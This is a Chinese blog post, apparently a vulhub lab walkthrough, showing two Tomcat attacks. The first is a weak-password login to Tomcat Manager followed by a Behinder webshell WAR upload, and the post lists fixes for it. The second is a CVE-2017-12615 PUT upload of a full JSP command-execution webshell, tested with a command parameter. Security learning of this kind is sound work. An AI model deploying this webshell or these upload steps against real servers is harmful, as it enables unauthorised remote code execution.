banner
[面包]MrTwoC

[面包]MrTwoC

你好,欢迎来到这个基于区块链的个人博客 名字:面包 / MrTwoc 爱好:跑步(5/10KM)、咖啡、游戏(MMORPG、FPS、Minecraft、Warframe) 兴趣方向:Rust、区块链、网络安全、量子信息(量子计算)、游戏设计与开发
bilibili
steam
email
github

TomCat文件上传漏洞

环境:centOS7
tomcat
docker
需要工具:java 环境、冰蝎

弱口令利用,并上传#

文件位置:
/root/CVE/vulhub-master/tomcat/tomcat8
在虚拟机中运行 docker,命令
docker-compose up -d
image.png
再查询虚拟机的 IP 地址,在本机中打开,tomcat 默认端口 8080
image.png
可以看到右上角有个 manager App
image.png
利用弱口令进入:用户名 tomcat,密码 tomcat
进入网页,发现有上传东西的地方
image.png
然后打开冰蝎准备上传 shell
image.png
选 default_aes ,然后点击生成服务端
image.png
之后自动弹出一个文件夹,里面有需要的 shell 文件
image.png
打开 cmd,选择其中一个.jsp
输入命令
jar cvf shell.war .\shell.jsp
将 shell 文件打包成 war 包,准备上传
image.png
image.png
提示成功,打开地址验证一下
image.png
http://192.168.1.4:8080/shell/shell.jsp
发现成功,打开冰蝎,点击新增,输入刚才的地址
image.png
image.png
image.png
这样就拿到了 shell

修复方案
1、更改弱密码(治标不治本)
2、在系统上以低权限运行 Tomcat 应用程序。创建一个专门的
Tomcat 服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。
3、增加对于本地和基于证书的身份验证,部署账户锁定机制 (对于集中式认证,目录服务也要做相应配置)。
在 CATALINA_HOME/conf/web.xml 文件设置锁定机制和时间超时限制。
4、以及针对 manager-gui/manager-status/manager-script 等目录页面设置最小权限访问限制。

CVE-2017-12615—— 远程代码执行#

image.png
image.png
试试点击 Manager App,被拦截了
image.png
现在打开 BrupSuite
准备好提供的 POC
<%@ page language="java" import="java.util.,java.io." pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("

");}else{out.println(":-)");}%>

将拦截到的发送到 Repeater
image.png
将 GET 改为 PUT /1.jsp/,再在下面添加上之前准备的 POC
image.png

状态码提示为 201,为上传成功了,打开地址
image.png
尝试输入指令
http://192.168.1.4:8080/1.jsp?pwd=023&cmd=id
image.png
image.png

同理,这里的 POC,可以替换为冰蝎的 shell,从而更好的拿到 shell

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。